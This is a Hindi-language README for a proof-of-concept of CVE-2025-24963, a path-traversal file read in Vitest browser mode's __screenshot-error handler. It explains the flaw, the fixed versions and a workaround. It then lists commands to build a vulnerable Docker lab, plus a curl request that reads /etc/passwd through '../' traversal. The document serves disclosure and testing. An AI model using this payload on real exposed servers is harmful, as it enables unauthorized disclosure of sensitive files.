
CVE-2025-24963 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Vitest ब्राउज़र मोड में __screenshot-error हैंडलर के माध्यम से स्थानीय फ़ाइल पढ़ने की एक कमजोरी, जो उजागर सर्वरों पर मनमानी फ़ाइल प्रकटीकरण सक्षम करती है।
CVE-2025-24963 एक मध्यम-गंभीरता वाली कमज़ोरी है (CVSS 3.1 स्कोर: 5.9) जो @vitest/browser पैकेज को प्रभावित करती है, जो Vite द्वारा संचालित Vitest परीक्षण ढाँचे का एक घटक है। यह कमज़ोरी ब्राउज़र मोड HTTP सर्वर के __screenshot-error हैंडलर में अनुचित इनपुट सत्यापन से उत्पन्न होती है। जब सर्वर को कॉन्फ़िगरेशन विकल्प browser.api.host: true का उपयोग करके नेटवर्क पर उजागर किया जाता है, तो एक हमलावर सर्वर की फ़ाइल सिस्टम पर मनमानी फ़ाइलों तक पहुँचने के लिए विशेष रूप से तैयार अनुरोध भेज सकता है, जिससे संभावित रूप से संवेदनशील जानकारी का अनधिकृत प्रकटीकरण हो सकता है।
कमज़ोरी निम्नलिखित @vitest/browser संस्करणों को प्रभावित करती है:
यह समस्या संस्करण 2.1.9 और 3.0.4 में संबोधित की गई है। उपयोगकर्ताओं को दृढ़ता से सलाह दी जाती है कि वे कमज़ोरी को कम करने के लिए इन या बाद के संस्करणों में अपग्रेड करें।
यदि तत्काल अपग्रेड संभव नहीं है, तो एक अस्थायी वर्कअराउंड यह है कि अपने कॉन्फ़िगरेशन में browser.api.host: true सेट करके ब्राउज़र मोड सर्वर को नेटवर्क पर उजागर करने से बचें। इससे कमज़ोर हैंडलर तक बाहरी पहुँच को रोका जा सकेगा।
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
नोट: Vitest द्वारा उपयोग किया जाने वाला पोर्ट डायनामिक है (जैसे, 63315)। आप लॉग की निगरानी करना चाह सकते हैं और उसके अनुसार अपने
-pफ़्लैग को समायोजित कर सकते हैं।
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"